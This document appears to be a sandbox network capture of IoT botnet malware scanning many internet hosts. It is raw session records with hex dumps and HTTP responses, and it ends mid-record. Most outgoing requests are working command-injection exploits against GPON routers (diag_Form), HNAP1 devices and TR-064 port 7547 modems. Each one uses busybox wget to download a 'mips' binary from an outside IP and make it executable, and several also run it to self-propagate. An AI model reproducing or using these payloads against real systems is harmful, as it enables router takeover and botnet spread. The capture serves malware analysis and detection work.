Apr 15, 2024 08:53:35.371130943 CEST	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 15 Apr 2024 06:53:35 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1062	192.168.2.13	55356	119.91.25.34	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:35.085247993 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:35.403547049 CEST	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 15 Apr 2024 06:53:34 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1063	192.168.2.13	36156	118.190.246.2	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:35.086725950 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:35.405596018 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:35 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1064	192.168.2.13	39598	94.123.141.186	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:35.300435066 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1065	192.168.2.13	48450	148.251.125.165	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:35.578524113 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:35.880352974 CEST	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 15 Apr 2024 06:53:35 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1066	192.168.2.13	46796	178.170.248.54	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:36.633085012 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:48.640677929 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:48.978904009 CEST	325	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 39 36 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 96<html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1067	192.168.2.13	33740	47.149.241.164	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.295631886 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:38.144406080 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1068	192.168.2.13	55702	75.166.15.70	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.323844910 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1069	192.168.2.13	33498	34.43.218.102	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.328843117 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1070	192.168.2.13	45432	221.147.219.158	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.427870035 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1071	192.168.2.13	34572	220.117.6.143	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.439583063 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1072	192.168.2.13	32916	109.156.212.192	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.439682007 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1073	192.168.2.13	58448	118.63.39.155	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.441571951 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1074	192.168.2.13	32888	86.161.230.198	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.444399118 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:37.753536940 CEST	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1075	192.168.2.13	41842	183.98.165.249	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.451101065 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1076	192.168.2.13	53494	118.56.61.19	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.451224089 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1077	192.168.2.13	44954	191.61.137.161	7547

Timestamp	Bytes transferred	Direction	Data
